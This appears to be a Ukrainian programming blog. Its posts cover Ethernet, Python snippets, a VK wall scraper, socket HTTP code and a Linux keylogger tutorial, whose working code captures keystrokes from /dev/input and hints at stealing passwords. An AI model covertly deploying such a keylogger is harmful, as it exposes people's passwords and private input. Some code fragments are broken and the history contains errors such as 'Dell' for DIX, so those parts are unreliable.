Анонс Lvivpy4

Попередні три я пропустив бо не читаю новини, але от на цьому буду, тому що там я буду нести людям світло науки і знання.

Цитую сам себе:

Ви дізнаєтесь що таке компонент, інтерфейс, інваріант, утиліта, фабрика, адаптер (це не тільки шаблони), реєстр компонентів, і купу інших розумних слів. А також як можна застосовувати штуки що ці слова позначають щоб побудувати систему яку можна розширювати новими компонентами, і реалізувати “статичну типізацію” та “слабку типізацію”.

Одним словом те що ви могли почитати в трактаті про ZCA, тільки тепер в авторській озвучці, + можна буде задавати питання, і побачити мене в 3D. Головне руками не чіпати! :)

Тому якщо в кого виникне таке бажання – заходьте в Офіс Lohika Systems, Львів, вул. Лемківська 15а, 2-й поверх, 30-го травня. Реєстрація: http://www.meetup.com/uapycon/events/222342688/

І не переживайте, там доповідаю не тільки я.

Робота і життя після відпустки починається шалено (правда якщо врахувати що під час відпустки я більшість часу лише спав, їв і дихав), я навіть 10% всього цікавого зараз не розповів, але те що розповів – одне з найголовнішого. :)


Filed under: Кодерство, Нещоденник Tagged: Python

Ethernet на хлопський розум

I’m a web crawling spider; you an Internet mosquito;
You thought the 7-layer model referred to a burrito.
You’re a dialup connection; I’m a gigabit LAN.
I last a mythical man-month; you a one-minute man.

Monzy – “kill -9

Іноді аби щось зрозуміти, іноді мало читати, треба писати. Сьогодні ми розберемось чим комутатор та міст відрізняються від концентратора. :) Я хотів добре розібратись як працює маршрутизатор, але це ще рівнем вище, і ця вся справа затягнулась.

Рівні мережевої моделі

Почнемо з рівнів. Комп’ютерні мережі такі складні, що зрозуміти їх цілком дуже важко, тому вирішили розділити їх на рівні абстракції. Цих рівнів можна нарахувати від п’яти до семи, але ми почнемо з перших двох.

Перший рівень – фізичний. На цьому ми домовляємось скільки вольт – це нуль, а скільки – одиничка, чи може це взагалі буде лазер в оптоволокні, або радіохвиля. Використовувати частотну, чи амплітудну модуляцію? Це все фізичні аспекти. Також цей рівень за допомогою різноманітних кодувань, вирішує як довго триває одиничка або нуль, і як відрізнити послідовність 11111 від послідовності 111111?

Таким чином, якщо ми обрали середовище фізичного рівня – виту пару, радіо, чи оптоволокно, ми знаємо що якщо ми передамо 01, то хтось прийме 01 і саме в такому порядку.

Далі йде другий рівень – канальний. Так як і в спілкуванні людей, треба серед всіляких звуків середовища розрізняти слова, особливо сказані до тебе, так і тут, треба серед усіх нулів і одиничок треба виділити окремі повідомлення, і визначити хто з ким говорить. Для цього домовляються про послідовності біт на зразок “Dixi” (я все сказав), “Шо?” (здається лінія зашумлена, повторіть передачу). І “так я сказав те що ви почули” (контрольна сума).

А також визначають хто коли говорить. Тому що до одного каналу (проводу чи ефіру) зазвичай під’єднано два і більше комп’ютерів, і коли вони передають дані одночасно, то ніхто нікого не чує.

Контроль доступу до середовища

Визначенням того хто коли говорить займається підрівень (який взагалі то другий, але його чомусь виділяють) Media access control (контроль доступу до середовища, MAC), і є різні способи:

  • Наприклад передавати по колу токен (мікрофон), і давати право говорити лише тому, в кого токен. Після чого він має передати токен наступному вузлу мережі, і так далі по колу. Така схема називається Token ring.
  • Переважно люди які знаходяться в одній кімнаті спочатку слухають, і якщо ніхто не говорить – починають говорити. Якщо сигнал передано успішно – добре, а якщо хтось почав говорити одночасно з нами (сигнал поширюється середовищем певний час) – доведеться почекати випадковий час і спробувати ще раз.

    Такий протокол називається Carrier sense multiple access (CSMA), 1-persistent. Перекладається як множинний доступ з відчуттям носія і зухвальством-1. Відчуття носія означає що ми слухаємо провід. Зухвальство 1 означає що ми ліземо вставити свої 5 копійок, як тільки випаде нагода. Це не оптимально щодо кількості колізій. Протокол зі зухвальством 0.5 з ймовірністю 50% замість того щоб передавати, вирішує почекати і послухати ще один такт. Тому що коли на лінії одна машина передає, і своєї черги чекають 10, то з зухвальством буде дуже важко добитись наступної передачі без колізій.

    В Ethernet (найпопулярніший протокол для побудови мережі) використовується CSMA/CD – Carrier Sense Multiple Access with Collision Detection, тобто те саме що я описав, тільки вони вміють виявляти колізію за формою сигналу, ще до того як передасться ввесь кадр з контрольною сумою.

Ethernet

Тепе поговоримо детальніше про стандарти першого і другого рівня – Ethernet. Ehternet – це назва стандарту IEEE 802.3, і частка Ether – (етер), там на честь ефіру (якого насправді не існує, лише вакуум).

Але Ethernet існує і його створили в 1976 Роберт Меткальф та Девід Боґґс в дослідницькому центрі Xerox. (Ця компанія так багато винайшла! Шкода що їх знають лише за копіювальними апаратами). Швидкість передачі була 3 Мбіт/с.

В 1978 Dell, Intel та Xerox створили стандарт DIX, який описував 10 Мбіт/с Ethernet.

В 1983-му стандарт DIX став називатись IEEE 802.3. Меткальф заснував власну компанію 3com і почав продавати Ethernet адаптери.

Ethernet має обмеження на довжину кабеля, яке можна обійти за допомогою повторювачів – пристроїв фізичного рівня, які просто посилюють сигнал. З точки зору канального рівня кабель з повторювачами не відрізняється від звичайного. Але все одно є обмеження на час передачі сигналу, після якого не можливо усунути колізії.

По кабелю Ehternet сигнал передається в манчестерському коді. Інформація формується в кадри, формат яких описано на вікіпедії.

Для роботи колізій використовували CSMA/CD зухвалості 1. Станція слухає канал і якщо чує тишу – передає. Якщо сталась колізія чекає випадкову кількість інтервалів. Інтервал = 2t, де t – час протягом якого сигнал поширюється від одного кінця кабелю до іншого. Якщо кількість колізій 10 – очікують від 0 до 1023 інтервалів. Якщо i > 16 – повертають помилку.

Комутований Ethernet

2550T-PWR-Front
З часом користувачі Ehternet виявили що приєднання купи комп’ютерів до одного кабеля має недолік, що обрив кабеля псує роботу всієї мережі. І придумали концентратор (хаб). Концентратор відрізняється від повторювача тим, що має більше ніж два порти, а так принцип той самий – сигнал який входить на один порт, виходить на всіх інших підсиленим до потрібного рівня. З точки зору канального рівня мережа з концентратором виглядає як один кабель, всі комп’ютери під’єднані до концентратора містяться в одному просторі колізій, а тому чим більше комп’ютерів в мережі, тим повільніше вона працюватиме.

І нарешті, Ethernet запозичив в телефонних мереж ідею комутації, та з’явився свіч (мережевий комутатор). На відміну від концентратора, свіч посилає кадр лише тій станції, якій він призначений. А також, на відміну від хаба, в свічі кожна станція потрапляє у свій простір колізій, тому їх кількість зменшується до одиниці. Так як кадри з різних портів можуть прямувати на один порт, свіч містить буфер і відправляє їх по черзі. Ще одна корисна властивість свіча – він запобігає підслуховуванню чужих кадрів за допомогою адаптера в promiscuous mode.

До свіча можна приєднати хаб, таким чином на одному порті свіча буде ніби кілька станцій. Свіч на це реагує просто ігноруючи кадри, які адресуються станції підключеній до того самого хаба що й станція яка відправила кадр.

Хоча сьогодні, хаби (концентратори) майже зовсім не використовуються, тому можна вважати що один кабель завжди з’єднує лише два пристрої.

Fast, Gigabit Ethernet

Після того як з’явився комутований Ethernet, швидкість мережі перестала падати за нелінійним законом при приєднанні нових комп’ютерів і люди почали звикати до швидкості 10 Мбіт/c.

В 1992-му IEEE доручив комітету 802.3 створити новий стандарт, помноживши швидкість на 10. В 1995-му вийшов стандарт 802.3u, відомий в народі як Fast Ethernet. Який дозволяв передавати дані зі швидкістю 100 Мбіт/с. Свічі звісно мусили підтримувати обидва стандарти і щоб визначити який з них можна застосовувати на порті використовували процедуру яка називається “autonegotiation”.

Далі Fast Ethernet звісно став недостатньо швидким, і його знову вирішили помножити на 10. В 1999 IEEE випустили стандарт 802.3ab, або Gigabit Ehternet, що передавав 1 Гбіт/с, як не важко було здогадатись. В ньому заборонили використовувати концентратори і дуже скоротили кабелі (максимальна довжина 25м), тому що при такій швидкості можна відправити цілу купу кадрів до того як проявляться перші ознаки того що відбувається колізія. (мінімальний розмір кадру – 64 байти.)

Але 25 метрів це дуже мало, тому щоб збільшити, до стандарту дописали що можна дописувати ще одне поле, яке розширяє кадр до 512 байт (carrier extension) і використовувати кабелі до 200м. Але передавати 512 байт, де корисні лише 64 дуже неефективно. тому також пробували склеювати кадри в пакети (frame bursting).

Також в Gigabit Ethernet є функція контролю потоку. Якщо кадри йдуть з Gigabit в класичний Ethernet, свіч може послати передавачу на Gigabit порті кадр PAUSE (кадр в якому в полі тип написано 0x8808), щоб передавач пригальмував.

А далі, в 2002, 2004 та 2006 роках з’явились стандарти 10-гігабітного Ethernet для оптоволокна, екранованого мідного кабелю і мідної витої пари. І працюють над ще швидшими! Але ми в ті деталі сьогодні не вдаватимемось.

Мости

Коли ми розглядаємо мережі, треба завжди розглядати два аспекти – фізичний і логічний. Фізичний – це те як ми прокладаємо кабелі і які пристрої ними з’єднуємо. Логічний – як кадри всередині кабелів рухаються і комутуються насправді. Ми можемо як розділити одну фізичну мережу на кілька логічних, так і з’єднати кілька фізичних в одну логічну. Мости займаються останнім.

До появи комутованого Ethernet, мережа – це був кабель, в який комп’ютери вгризались за допомогою пристрою що називався “вампірчик” (прочитайте про кабель 10BASE5). Але кабель має обмежену довжину, і йому дозволено обмежену кількість повторювачів. Так само організація може займати кілька приміщень, і помістити всі комп’ютери в одну мережу, хай навіть і за допомогою комутатора, буде накладно. В таких випадках кожне приміщення отримує фізичну мережу, які з’єднуються між собою за допомогою моста.

Міст працює в нерозбірливому режимі (promiscuous mode), тобто приймає всі кадри, не залежно від того кому він призначався. І далі вирішує що з ним робити, шукаючи потрібну інформацію в спеціальній таблиці.

При приєднанні моста до мереж, ця таблиця порожня. Як тільки на якийсь з портів приходить кадр, міст запам’ятовує в таблиці MAC-адресу відправника і номер порта, і розсилає кадр на всі порти окрім того на який кадр прийшов (як хаб).

Якщо хтось відповідає, і просить прислати кадр на MAC-адресу яка мосту вже відома, міст шле кадр лише на відому адресу.

Якщо з якоїсь MAC-адреси вже кілька хвилин не приходили кадри, міст видаляє запис з таблиці, таким чином якщо фізична конфігурація мережі змінюється, міст сам за кілька хвилин переучується.

У вас напевне виникло питання “А чим відрізняється міст і комутатор?”. А тим самим що й ноутбук та лептоп – в слові комутатор більше букв :). Просто дві різні назви з’явились історично.

Метою мостів було з’єднувати різні мережі (наприклад Token Ring і Ethernet), але виходило погано, тому переважно вони з’єднували однокабельні Ethernet мережі, або Ethernet мережі з концентраторів. А метою комутаторів було замінити концетратори, які мали обмеження на число з’єднань пов’язане з котролем доступу до середовища. Але в кінці вийшло одне й те ж.

Spanning tree protocol (STP)

Слово “міст” (bridge) використовується й досі, тому що його використовують в актуальних досі стандартах, наприклад IEEE802.1D. Це стандарт що описує те як повинні працювати мости, і зокрема, такі деталі як протокол кістякового дерева.

Ми можемо з’єднувати два мости (концентратори) більш ніж одним кабелем для збільшення надійності з’єднання. Але тоді з’являється проблема – широкомовні кадри зацикляться, бо міст отримуватиме кадр через один порт і відправлятиме на всі інші, таким чином, якщо два мости з’єднані через два порти, вони пересилатимуть цей кадр одне одному, і всім іншим приєднаним пристроям до нескінченності.

Тому, мости домовляються ігнорувати лінії які не входять в кістякове дерево. Для цього, обирається кореневий свіч (свіч з найменшим ID, яким є MAC), і знаходяться всі найкоротші (найшвидші) лінії які ведуть від кожного пристрою до кореневого свіча. Це й є кістякове дерево.

Радья Перлман що придумала цей алгоритм змогла також віршик написати:

A tree that must be sure to span
So packets can reach every LAN.
First, the root must be selected.
By ID, it is elected.
Least-cost paths from root are traced.
In the tree, these paths are placed.

Взагалі, хотів би я вміти писати вірші. Їх справді легше й веселіше запам’ятовувати. Саме за допомогою вірша я вперше зміг запрограмувати рендеринг фракталу Мандельброта.

VLAN

Окрім того що багато фізичних локальних мереж можна об’єднати в одну логічну, можна також поділити одну фізичну, на багато логічних. Причин для цього є кілька:

  • Безпека (ізоляція даних)
  • Зменшення навантаження при доставці широкомовних пакетів. Такі пакети часто зустрічаються, бо потрібні наприклад для роботи протоколу ARP.
  • Локалізація можливого %D0%BE%D0%B2%D0%BD%D0%B8%D0%B9_%D1%88%D1%82%D0%BE%D1%80%D0%BC">широкомовного шторму та інших неполадок.
  • Працівник може перевестись з одного офісу в інший (наприклад ближче до дому), і потрапити в іншу фізичну мережу. Але йому все одно треба бути в логічній мережі свого відділу.

Всі ці проблеми намагається вирішити технологія VLAN (віртуальної локальної мережі).

Комутатор що підтримує VLAN позначає (“зафарбовує”) кожен порт, як такий що належить певній VLAN (або кільком). На схемах VLAN позначають кольором, щоб можна було одночасно відобразити фізичну і логічну топології. Якщо приходить кадр з наприклад “червоної” VLAN, і він широкомовний, або порт для MAC-адреси отримувача невідомий, то його відправляють на всі порти які належать “червоній” VLAN.

Що робити якщо порт прибуває через порт що належить кільком VLAN? Кадр може належати лише одній мережі, але якій? Для цього, IEEE погодився змінити формат кадру Ethernet і додати туди нове поле. Стандарт випущений в 1998 назвали IEEE 802.1Q.

Найважчим питанням було, а що робити з мільйонами мережевих плат які не підтримують цей формат кадру? Щоб не викидати існуюче мережеве обладнання вирішили що перший комутатор на шляху кадра, що сумісний з VLAN буде додавати в кадр ідентифікатор VLAN, а останній – забирати. Таким чином на кінцеве обладнання потрапляють кадри звичайного формату.

VLAN який присвоюють кадру визначають за тим з якого порта він прийшов, або за протоколом вищого рівня. Наприклад можна послати всі кадри що містять IP в одну мережу, а кадри з PPP – в іншу. Було б зручно також визначати VLAN за MAC-адресою (наприклад якщо ноутбук часто змінює порти), але стандарт 802.1Q такого не передбачає.

Поле ідентифікатора для VLAN займає 12 біт. Таким чином загальна кількість можливих VLAN – 4096. Цього недостатньо для хмарних сервісів які дозволяють створювати мільйони віртуальних серверів і мереж, тому для них придумали іншу технологію віртуалізації – VXLAN (Virtual eXtensible LAN). Але в ній вже самі кадри віртуальні і передаються всередині TCP-пакетів. Віртуалізується віртуальна мережа. :)

Вищі рівні

Мости/комутатори це пристрої другого рівня. Вони дивляться на заголовки кадрів і таким чином вирішують що з ними робити. Концентратори і повторювачі – пристрої першого рівня. Вони просто приймають і передають сигнали, не особливо задумуючись над тим що ті сигнали означають.

З’єднати мережі з різними протоколами складно, бо переклад навіть чогось формального – дуже складна задача. Це ускладнюється різним максимальним розміром порції даних дозволених для передавання (MTU), різною схемою адресації і багато чим іншим. Але крім трансляції одного протоколу в інший, є ще один спосіб.

Щоб справді з’єднати мережі різного типу (наприклад 802.11 (Wi-Fi), 802.3 (Ethernet) та MPLS (швидкісний протокол що з’єднує комутатори провайдерів)), треба використати ще один рівень абстракції. Навіть якщо на другому рівні пристрої адресуються не за допомогою MAC, вони все одно адресуються спільними адресами третього рівня (наприклад IP). На цьому рівні абстракції працює маршрутизатор (router). Він відкидає всі заголовки кадрів другого рівня, і дивиться в їх вміст. А вміст – це датаграма третього рівня, і її заголовки вона описують куди її відправити.

Існують також пристрої ще вищого рівня, які називаються шлюзами. Існують шлюзи транспортного рівня, що дозволяють перетворювати дані з одного протоколу в інший, або шлюзи прикладного рівня, що, наприклад перетворюють SMS-повідомлення в E-mail.

Джерела

Всіх посилань не даю, бо їх забагато. В основному “Комп’ютерні мережі” Танненбаума і вікіпедія.

До читачів

Cподіваюсь я не переобтяжив ваші мізки інформацією і загальні принципи ви зрозуміли. Дякую що дочитали сюди і не заснули. І пробачте що так мало картинок – мені треба оновити свою стару Xubuntu 12.04, і подивитись чи в ній працюватиме графічний планшет. Тоді сподіваюсь цей блог стане більш ілюстрованим.

Якщо маєте ще якісь питання – питайтесь, я поки це все писав, таки трохи розібрався. Деталі звісно на вікіпедії, і якщо читатимете її українською, почистіть трохи те що читатимете, бо в телекомунікаціях там такий срач, що руки за голову хапаються.


Filed under: Конспекти, Павутина Tagged: hardware

Генштаб для грамнацистів

Щойно з’явилась ідея супер-пупер сервісу для всіх хто пише і вичитує.

Сценарії використання

  1. Користувач бачить помилку на якомусь сайті. (Ідея націлена на вікіпедію, але має працювати на будь-яких інших сайтах, наприклад тут.) Нехай він зареєстрований на нашому порталі грамнацистів, і встановив букмарклет. Користувач виділяє ту помилку, натискає на букмарклет, той букмарклет показує попап з формою, де вписаний рядок з помилкою, полем куди можна ввести правильний варіант, пояснення помилки і посилання на словники та правопис.
  2. Користувач пише статтю. Він хоче написати її грамотно. Він вводить її текст, натискає інший букмарклет, і той використовуючи алгоритм Ахо-Корасік чи щось легше, підкреслює всі помилки і в попапах показує коментарі користувачів що їх виправили, та варіанти виправлень.
  3. Користувач вважає що помилка – не помилка, і попередній користувач помилився додавши її до словника. В попапі він клацає кнопочку “обговорення” і переходить на наш портал, де може обговорити.
  4. Адміністратори/редактори (вікіпедії) вирішують хто правий, а хто ні. Помилка яка насправді такою не була, позначається, і при наступних спробах її ввести, йому будуть повідомляти що це не помилка, і якщо він не згоден – посилати в обговорення.
  5. Найпопулярніші помилки, які вже точно помилки експортуються в файл що читається роботом який лазить по вікіпедії і виправляє всі статті та перевіряє всі нові правки. Якщо користувач вніс правку з помилкою – йому приходить повідомлення з поясненням суті помилки, проханням так не робити і порадою поставити букмарклет. :) На зразок такого:

  6. Треба врахувати те, що помилок існує більше ніж правильних слів (наприклад в слові “пиво” можна помилитися 32^4 = 2^{20} \approx 10^6 мільйоном різних способів, і то якщо не враховувати що також існують пропуск, дефіс, апостроф та інші символи. Тому варто намагатись вводити лише часті помилки, а решту залишати на hunspell. Словник для hunspell теж дозволити редагувати спільно, через букмарклети.

P.S. Я ще можу змиритись з тим що Firefox мені підкреслює hunspell, latex, букмарклет, попап і подібне. Але “блозі”, “кнопочку” “P.S.” і т.п. міг би вже вивчити.


Filed under: Кодерство, Павутина Tagged: вікіпедія, освіта, цілі

Випадковий ідентифікатор в Python

Можна отримати так:

import random
def random_id(length=6):
   return ''.join(
        random.choice(string.lowercase)
        for i in range(length)
    )

###############
>>> random_id()
'kqxmua'

Якщо треба особливо оформлений, як от IP, чи MAC-адреса, то можна зробити перетворення:

def asmac(val):
    """Convert a byte string to a MAC address string.  """
    return ':'.join('%02X' % ord(c) for c in val)

def random_mac():
    return asmac(random_id())

###################
>>> random_mac()
'78:71:6A:72:6E:63'

Але такі ідентифікатори як “kqxmua” нормальній людині важко запам’ятати, бо вони не асоціюються з жодними поняттями. Ну окрім частинки “ua”, але й то вона туди випадково потрапила. Проте, в Linux можна легко отримати випадкове слово, бо в ньому є словник:

def random_word():
    return random.choice(
        open('/usr/share/dict/words').readlines() # жертиме пам’ять! 
    ).strip()

#################
'.join(random_word() for i in range(5))
'hermitical, Canter, Paryavi, mergences, Mind'

Хоча я знайомий лише з “hermitical” та “mind”, але асоціації вже легше побудувати, правда?


Filed under: Всяке, Кодерство Tagged: linux, Python

Зберегти всю стіну групи VK в таблицю

Якось під час чергового наближення економічної кризи захотілось проаналізувати ціну нерухомості в Львові. А ще, в той же час я наткнувся на документацію API Вконтакті. А так як своє житло я шукав в тому числі і в тій соціальній мережі, то вирішив проаналізувати наприклад спільноту vk.com/nomakler.

Ну, проаналізувати це легко сказати – важче зробити. Як витягти з повідомлення ціну, і як відрізнити попит від пропозиції? Га?

Але є половинний результат – ФСБ мусило поділитись частиною своєї бази даних розміром в 40450 оголошень. Тут можна її завантажити як tsv, xls чи інший зручний для вас формат. Може комусь, хто захоче збільшити конкуренцію серед львівськи маклерів/ріелторів знадобиться.

А якщо кому потрібна інформація з інших груп – ось скрипт. Викликаєте функцію save2tsv з назвою групи і назвою файлу в який писати – і чекаєте поки завантажиться.

import requests
import json
from pprint import pprint
from itertools import islice
from datetime import datetime

from butils.csv_wrapper import UnicodeWriter

class APIError(Exception):
    pass

def vk(method, **kwargs):
    '''
        https://vk.com/dev/methods
    '''
    r = requests.get(
        'https://api.vk.com/method/%s' % method,
        params=kwargs
    )
    js = json.loads(r.text)
    if js.get('error'):
        raise APIError(js['error']['error_msg'])

    return js['response']


def get_users(ids, known_users={}):
    request_ids = [i for i in ids if i not in known_users]
    if request_ids:
        user_ids=','.join(str(i) for i in request_ids if i > 0)
        if user_ids:
            users = vk('users.get', user_ids=user_ids)
        else:
            users = []
        group_ids=','.join(str(-i) for i in request_ids if i < 0)
        if group_ids:
            groups = vk('groups.getById', group_ids=group_ids)
        else:
            groups = []
        for user in users:
            known_users[int(user['uid'])] = dict(
                first_name = user['first_name'],
                last_name = user['last_name'],
            )
        for group in groups:
            known_users[-int(group['gid'])] = dict(
                first_name = group['name'],
                last_name = group['gid']
            )
    return known_users


def get_wall(domain):
    count = 50
    offset = 0
    def get_with_offset(offset):
        nonlocal count
        print('get_with_offset(%s)' % offset)
        total = vk('wall.get',
            domain=domain,
            count=1,
        )[0]
        off = total - offset - count
        if off < 0:
            count = count + off
            off = 0
        return vk('wall.get',
            domain=domain,
            count=count,
            offset=off,
        )[1:][::-1] # remove first and reverse

    while True:
        posts = get_with_offset(offset)
        offset += count
        users = get_users(p['from_id'] for p in posts)
        for p in posts:
            yield p, users[p['from_id']]
        if count < 50:
            return


def save2tsv(domain, dst):
    with UnicodeWriter(dst, encoding='utf-8', delimiter='\t') as writer:
        writer.writerow((
            'ID',
            'Datetime',
            'First name',
            'Last name',
            'Text',
            'Type',
            'Comments',
            'Reposts',
            'Likes',
        ))
        for p, user in get_wall(domain):
            writer.writerow(list(map(str, (
                p['id'], # ID
                datetime.fromtimestamp(p['date']), # Datetime
                user['first_name'], # First name
                user['last_name'], # Last name
                p['text'], # Text
                p['post_type'], # Type
                p['comments']['count'], # Comments
                p['reposts']['count'], # Reposts
                p['likes']['count'], # Likes
            ))))

# save2tsv('nomakler', 'nomakler.tsv')

Filed under: Кодерство, Павутина Tagged: Python

Пишемо простий keylogger для Linux

Кейлоггер це така шкідлива корисна програма яка записує всі натискання клавіш користувачем в будь-яких інших програмах операційної системи. І сьогодні ми вивчатимемо як таке написати. Якщо ви навчитесь працювати з файлами в Linux – ви зможете все. Серйозно. Тому я колись планую детально вивчити і написати про файли там.

Все в лінуксі файл, і клавіатура – теж. Щоб знати який – відкриваємо /proc/bus/input/devices. Нас цікавить абзац в якому написано про клавіатуру, і він зазвичай містить рядок EV=120013, тому можете пошукати його. Коли знайшли абзац, читаємо в ньому рядок H: Handlers=sysrq kbd event3.

Можна дістати однією командою:

cat /proc/bus/input/devices | grep EV=120013 -B 2 | grep event

Слово event3 означає що нам треба читати файл пристрою /dev/input/event3.

Так як в заголовку було слово простий, ми спростимо собі життя і поставимо деяку бібліотеку:

pip-2.7 install evdev

Ця бібліотека працює з пристроями подій (тобто клавіатурою, мишею і т.п.). Далі вставлю зразу код, тому що він відкоментований і очевидний:

# coding=utf-8

import sys
from evdev import InputDevice, categorize, KeyEvent

def main():
    if len(sys.argv) &amp;amp;lt; 2:
        print('Please pass device (/dev/input/eventX) as first argument.')
        return

    log_keys(sys.argv[1])


def log_keys(device):
    for event in InputDevice(device).read_loop():
        # Перетворити загальну подію в подію певного класу
        event = categorize(event)
        if (
            isinstance(event, KeyEvent) # нас цікавлять події клавіатури
            # а саме - натискання
            and (event.keystate == KeyEvent.key_down)
        ):
            # keycode - це рядок виду &quot;KEY_S&quot;, тому ми обрізаємо &quot;KEY_&quot;
            # і виводимо всі клавіші в одному рядку, через кому
            print(event.keycode[4:], end=', ')
            # так як вивід буферизований, а буфер починає записуватись коли
            # починається новий рядок, нам потрібно його вручну змусити 
            # виводитись:
            sys.stdout.flush()
            
if __name__ == '__main__':
    main()

Тепер, коли це все запустити для пристрою який в нас займається клавіатурою, можна побачити натиснені клавіші. Наприклад, що я тиснув, коли писав цю публікацію:

$~ sudo python3.3 keylogger.py /dev/input/event3
... F12, LEFTBRACE, S, O, U, R, C, E, C, O, D, E, SPACE,
L, A, N, G, U, A, G, E, EQUAL, LEFTSHIFT, APOSTROPHE,
P, Y, T, H, O, N, LEFTSHIFT, APOSTROPHE, RIGHTBRACE,
LEFTBRACE, SLASH, S, O, U, R, C, E, C, O, D, E, RIGHTBRACE,
LEFTSHIFT, ENTER, N, BACKSPACE, P, L, A, I, N, WAKEUP, F12, 

Щоб свиснути чийсь пароль звісно ще доведеться записувати не тільки коли SHIFT опущено, але й коли піднято, але не варто таким займатись. :)

Посилання

  1. logkeys.cc:49
  2. logkeys.cc - determine_input_device
  3. github.com – evdev

Картинка для привертання уваги:
Backlit keyboard


Filed under: Кодерство Tagged: linux, Python

Простий HTTP клієнт і сервер на сокетах

В Python є мільйони бібліотек для роботи з HTTP, але так як HTTP працює через TCP/IP, то всі вони працюють використовуючи штуку яка називається socket. Сокет – це дуже низькорівнева річ, що нагадує файл (але не пітонівський об’єкт файлу, і навіть не сішний, а доступ до файлу через дескриптор, за допомогою викликів операційної системи open, write та read).

Хоча, досить вже вас страшити, ми просто зробимо це спрощено, як вправу, і основу для створення деяких інструментів для тестування та зневадження мережевих програм.

Клієнт

# coding=utf-8

import socket
import sys

def main():
    get(sys.argv[1])

def get(url):
    # Парсимо url на домен і GET запит в межах домену
    if url.startswith('http://'):
        url = url[len('http://'):]
    domain, query = url.split('/', 1)

    # створюємо сокет
    clientsocket = socket.socket(
        socket.AF_INET, socket.SOCK_STREAM
    )
    # AF_INET - аднесна сім’я сокета - інтернет (бувають юнікс і всілякі інші)
    # SOCK_STREAM - потоковий сокет (TCP). Бувають дейтаграмні (UDP).

    # з'єднуємось з 80-тим портом сервера:
    clientsocket.connect((domain, 80))

    # відправляємо туди всі дані запиту (поки не відправляться)
    # метод send() відправляє певну кількість байт і повертає ціле число - 
    # скільки відправив. Далі треба вручну досилати, нас ця зайва робота
    # не цікавить.
    clientsocket.sendall(query_template % (query, domain))

    while True:
        # отримуємо по 4096 байт даних
        # кажуть для максимальної продуктивності треба просити невелику 
        # степінь двійки байт
        data = clientsocket.recv(4096)

        # в stderr пишемо склільки насправді отримали (це цікаво)
        sys.stderr.write('DEBUG: Got %s bytes\n' % len(data))

        if len(data) == 0: # якщо даних більше нема - 
            break # то можна закінчувати

        # в stdout - наші дані
        sys.stdout.write(data)


    clientsocket.close() # закриваємо сокет

query_template = '''GET /%s HTTP/1.1
Host: %s
User-Agent: python
Connection: close

'''.replace('\n', '\r\n')
# В HTTP рядки заголовків розділяються \r\n
# Кінець заголовків позначається порожнім рядком, тому якщо його забути
# сервер буде довго чекати поки ви закінчите, а потім пришле
# 408 Request Timeout
# Connection: close - каже йому що можна закрити сокет після того як дані отримано.


if __name__ == '__main__':
    main()

Тест:

$~ python client.py https://bunyk.wordpress.com/
DEBUG: Got 387 bytes
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 06 Mar 2015 07:39:41 GMT
Content-Type: text/html
Content-Length: 178
Connection: close
Location: https://bunyk.wordpress.com/
X-ac: 1.fra _sat

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
DEBUG: Got 0 bytes

На жаль в наш час мало що можна отримати, бо всі хочуть перенаправити тебе на https, а він складніший за http, але й по самій відповіді 301 бачимо що клієнт працює.

Тепер складніше, але не набагато:

Сервер

Сервер, на відміну від клієнта, який створює з’єднання, посилає запит, читає відповідь і закриває з’єднання, повинен відкрити порт, і постійно очікувати з’єднань на ньому. Якщо з’єднання відбувається – прочитати запит і послати відповідь.

# coding=utf-8

import socket

def main():
    HttpServer(8080).run()

class HttpServer(object):
    def __init__(self, port=8000):
        # створюємо абсолютно такий самий сокет як і в клієнта
        self.socket = socket.socket(
            socket.AF_INET, socket.SOCK_STREAM
        )
        # але замість того аби приєднуватись до сокета на чужому 
        # сервері - приєднуємось до сокета на нашому:
        self.socket.bind(('', port))
        # і очікуємо з’єднання 
        # 5 - розмір черги з’єднань
        self.socket.listen(5)
        print 'Serving at', port

    
    def run(self):
        try:
            while True:
                # прийняти наступне з’єднання
                (conn, address) = self.socket.accept()
                print 'Connection from', address
                data = conn.recv(1024)
                # прочитати 1024 байт запиту 
                # (припустимо що цього буде досить)

                # послати назад заголовки відповіді HTTP 200 OK, 
                # і вміст - отриманий запит
                conn.send(http_ok(data))
                # І закриваємо з’єднання з клієнтом
                conn.close()
        except KeyboardInterrupt:
            print 'Bye!'

    def __del__(self):
        # Сокет треба закрити, щоб при наступному запуску
        # нам не сказали що він вже зайнятий.
        self.socket.shutdown(socket.SHUT_RDWR)
        self.socket.close()


def http_ok(content):
    return (
        'HTTP/1.0 200 OK\r\n'
        'Content-Type: text/html\r\n\r\n'
        '<html><body><pre>%s</pre></body></html>'
        % content
    )

if __name__ == '__main__':
    main()

Тепер, коли ми запустимо сервер, і відкриємо в браузері localhost:8080, то побачимо там щось схоже на:

GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=111872281.1988111138.1417337610.1419706230.1419710582.13; __utmz=111872281.1417337610.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive

Цей чарівний lo-інтерфейс

Найбільш радісним для мене було відкриття того, що якщо ми перейдемо за адресою 127.123.123.123:8080, чи будь-якою іншою виду 127.*.*.* (окрім 127.255.255.255), ми отримаємо відповідь:

GET / HTTP/1.1
Host: 127.123.123.123:8080

А це означає що ми можемо одним нашим сервером імітувати 16 хостів. HTTP передає заголовок HOST, саме тому, що один сервер може обробляти дані кількох хостів (які називаються віртуальними), і йому потрібно їх якось розрізняти.

Тут з’являється інша проблема – якщо ми хочемо імітувати кілька тисяч хостів, але не HTTP, а наприклад SNMP. В SNMP такого поля як адреса хоста на який ми послали запит нема, а так як всі потрапляють на один і той самий localhost, то й відрізнити їх нема як. Зате звісно таке поле є в пакету IP, і здається є спосіб до заголовків цього протоколу дістатись, використовуючи дещо, що називається raw socket. Проте це чорна магія якою я поки що ще не оволодів, тому залишу це до наступного разу.


Filed under: Кодерство, Павутина Tagged: мережа, Python

Scala partition в Python

Вперше сьогодні в мене був момент “А якби я писав на Scala…”. Задача – є список з мухами і котлетами вкупі. Треба мухи окремо, котлети окремо.

В Python класично це так:

Frikadellen = [x for x in AllesZusammen if IstFrikadelle(x)]
